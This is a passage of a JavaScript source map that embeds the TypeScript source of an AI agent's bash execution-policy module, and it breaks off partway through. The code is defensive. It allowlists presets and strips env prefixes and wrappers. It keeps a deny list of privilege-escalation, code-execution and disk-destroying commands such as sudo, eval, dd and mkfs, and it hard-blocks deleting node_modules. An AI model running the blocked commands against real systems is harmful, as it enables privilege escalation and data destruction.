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","sourcesContent":["/**\n * ZhinAgent 执行策略 — bash 命令的安全检查与工具包装\n *\n * 1. 危险命令黑名单 — 即使 full 模式也阻止解释器/提权命令\n * 2. 环境变量前缀剥离 — `FOO=bar cmd` → 按 `cmd` 做白名单匹配\n * 3. Safe wrapper 剥离 — `timeout 10 cmd` → 按 `cmd` 做匹配\n * 4. 复合命令拆分 — `&&` `||` `;` 与管道 `|` 逐段独立检查,deny 优先\n * 5. Shell 语法 fail-closed — 非 full 模式拒绝含换行 / `$(...)` / 反引号的命令\n * 6. 只读命令自动放行 — 与 file-policy classifyBashCommand 集成\n * 7. 审批信号 — ask/auto 返回待审批事实;具体决定由 ApprovalPort 完成\n */\n\nimport type { AgentTool } from '@zhin.js/ai';\nimport type { ZhinAgentConfig, ExecApprovalMode } from '../config/index.js';\nimport { classifyBashCommand } from './file-policy.js';\nimport { validateNetworkCommandUrl } from './network-policy.js';\nimport { getCurrentCommMessage, getCurrentOwnerApprovalRuntime } from './comm-message-context.js';\nimport {\n isIcqqSensitiveSubcommand,\n ownerApprovalAddressFromMessage,\n resolveToolRequesterRole,\n type ToolRequesterRole,\n} from './owner-approval-runtime.js';\n\n// ── 预设命令白名单 ──────────────────────────────────────────────────\n\nconst PRESET_READONLY = ['ls', 'cat', 'pwd', 'date', 'whoami', 'grep', 'find', 'head', 'tail', 'wc', 'stat', 'file'];\nconst PRESET_NETWORK = [...PRESET_READONLY, 'curl', 'wget', 'ping', 'dig', 'nslookup', 'host'];\nconst PRESET_DEVELOPMENT = [...PRESET_NETWORK, 'npm', 'npx', 'node', 'git', 'gh', 'python', 'python3', 'pip', 'pnpm', 'yarn', 'tsc', 'bun'];\n\nexport const EXEC_PRESETS: Record<string, string[]> = {\n readonly: PRESET_READONLY,\n network: PRESET_NETWORK,\n development: PRESET_DEVELOPMENT,\n};\n\n// ── 危险命令黑名单──────────────\n\n/**\n * 即使在 full 模式下也会被阻止的危险命令。\n * 这些命令可以执行任意代码、提权或造成不可逆破坏。\n */\nconst DANGEROUS_COMMANDS: ReadonlySet<string> = new Set([\n // 提权\n 'sudo', 'su', 'doas',\n // Shell 元命令 — 可执行任意代码\n 'eval', 'exec',\n // 系统级破坏\n 'dd', 'mkfs', 'fdisk', 'parted',\n // 进程注入\n 'gdb', 'strace', 'ltrace', 'ptrace',\n // 环境注入(敏感变量可被设置)\n 'export',\n]);\n\n/**\n * 无论审批模式如何都禁止的破坏性路径操作(避免误删依赖目录)。\n */\n/**\n * 检查命令是否在危险黑名单中。\n */\nexport function isDangerousCommand(cmdName: string): boolean {\n return DANGEROUS_COMMANDS.has(cmdName);\n}\n\nexport function matchHardBlockedCommand(command: string): string | undefined {\n const lower = command.trim().toLowerCase();\n if (/\\b(?:rm|rmdir)\\b/.test(lower) && lower.includes('node_modules')) {\n return '拒绝删除依赖目录 node_modules(高风险破坏操作)。';\n }\n if (lower.includes('find') && lower.includes('node_modules') && lower.includes('-delete')) {\n return '拒绝通过 find -delete 删除 node_modules(高风险破坏操作)。';\n }\n return undefined;\n}\n\n// ── 环境变量前缀剥离──────────────\n\n/**\n * 剥离命令前面的 `KEY=value` 环境变量前缀。\n * 例如 `FOO=bar BAZ=1 curl http://...` → `curl http://...`\n *\n * 只剥离安全的 key=value 对,不剥离含特殊字符的值(可能是注入)。\n */\nfunction tryStripOneEnvAssignment(command: string): { rest: string; stripped: boolean } {\n const trimmed = command.trimStart();\n const keyMatch = trimmed.match(/^([A-Za-z_][A-Za-z0-9_]*)=/);\n if (!keyMatch) return { rest: command, stripped: false };\n let i = keyMatch[0].length;\n const ch = trimmed[i];\n if (ch === \"'\") {\n const end = trimmed.indexOf(\"'\", i + 1);\n if (end === -1) return { rest: command, stripped: false };\n i = end + 1;\n } else if (ch === '\"') {\n const end = trimmed.indexOf('\"', i + 1);\n if (end === -1) return { rest: command, stripped: false };\n i = end + 1;\n } else {\n while (i < trimmed.length && !/[\\s;|&]/.test(trimmed[i])) i++;\n }\n while (i < trimmed.length && /\\s/.test(trimmed[i])) i++;\n return { rest: trimmed.slice(i), stripped: true };\n}\n\nexport function stripEnvVarPrefix(command: string): string {\n let rest = command;\n for (let n = 0; n < 32; n++) {\n const next = tryStripOneEnvAssignment(rest);\n if (!next.stripped) break;\n rest = next.rest;\n }\n return rest.trim();\n}\n\n// ── Safe wrapper 剥离──────────────\n\n/**\n * Safe wrapper 命令列表 — 这些命令本身是安全的\"包装器\",\n * 真正需要检查的是它们后面的实际命令。\n */\nconst SAFE_WRAPPERS: ReadonlySet<string> = new Set([\n 'timeout', 'time', 'nice', 'nohup', 'ionice', 'stdbuf', 'unbuffer',\n]);\n\n/**\n * 剥离命令前面的 safe wrapper(如 `timeout 10`、`nice -n 5`)。\n * 只剥离 wrapper + 它的标志/参数(数字、-flag 形式),直到遇到实际命令。\n */\nexport function stripSafeWrappers(command: string): string {\n let remaining = command.trim();\n let changed = true;\n // 防止无限循环,最多剥离 5 层\n let maxIter = 5;\n while (changed && maxIter-- > 0) {\n changed = false;\n const tokens = remaining.split(/\\s+/);\n if (tokens.length < 2) break;\n if (SAFE_WRAPPERS.has(tokens[0])) {\n // 跳过 wrapper 本身和它的参数(-flag 或纯数字/duration)\n let i = 1;\n while (i < tokens.length && /^(-[A-Za-z0-9]|[0-9]+[smhd]?$)/.test(tokens[i])) {\n i++;\n }\n if (i < tokens.length) {\n remaining = tokens.slice(i).join(' ');\n changed = true;\n }\n }\n }\n return remaining;\n}\n\n// ── 复合命令拆分──────────────\n\n/**\n * 将复合命令按 `&&`, `||`, `;` 拆分为独立子命令。\n * 管道 `|` 不在此拆分 — 由 checkExecPolicy 再用 splitPipeSegments 逐段检查。\n *\n * 引号/转义感知:单引号内为字面量;双引号与裸文本内 `\\` 转义下一个字符;\n * 引号内的分隔符不拆分(`echo \"a && b\"` 是单命令)。\n * 引号未闭合时 fail-closed:整条按单命令返回(不拆分),\n * 避免把藏在残缺引号后的危险段漏检。\n *\n * 注意:不处理换行、subshell `$(...)` 和反引号 — 这些语法超出策略理解范围,\n * 由 checkExecPolicy 在非 full 模式下直接 fail-closed 拒绝(见 findUnsafeShellSyntax)。\n */\nexport function splitCompoundCommand(command: string): string[] {\n const parts: string[] = [];\n let current = '';\n let quote: 'single' | 'double' | null = null;\n let escaped = false;\n let i = 0;\n while (i < command.length) {\n const ch = command[i]!;\n if (escaped) {\n current += ch;\n escaped = false;\n i++;\n continue;\n }\n // 单引号内没有转义;双引号/裸文本内 \\ 转义下一字符\n if (ch === '\\\\' && quote !== 'single') {\n current += ch;\n escaped = true;\n i++;\n continue;\n }\n if (quote === 'single') {\n if (ch === \"'\") quote = null;\n current += ch;\n i++;\n continue;\n }\n if (quote === 'double') {\n if (ch === '\"') quote = null;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"'\") {\n quote = 'single';\n current += ch;\n i++;\n continue;\n }\n if (ch === '\"') {\n quote = 'double';\n current += ch;\n i++;\n continue;\n }\n if (command.startsWith('&&', i) || command.startsWith('||', i) || ch === ';') {\n const trimmed = current.trim();\n if (trimmed) parts.push(trimmed);\n current = '';\n if (command.startsWith('&&', i)) i += 2;\n else if (command.startsWith('||', i)) i += 2;\n else i += 1;\n while (i < command.length && /\\s/.test(command[i])) i++;\n continue;\n }\n current += ch;\n i++;\n 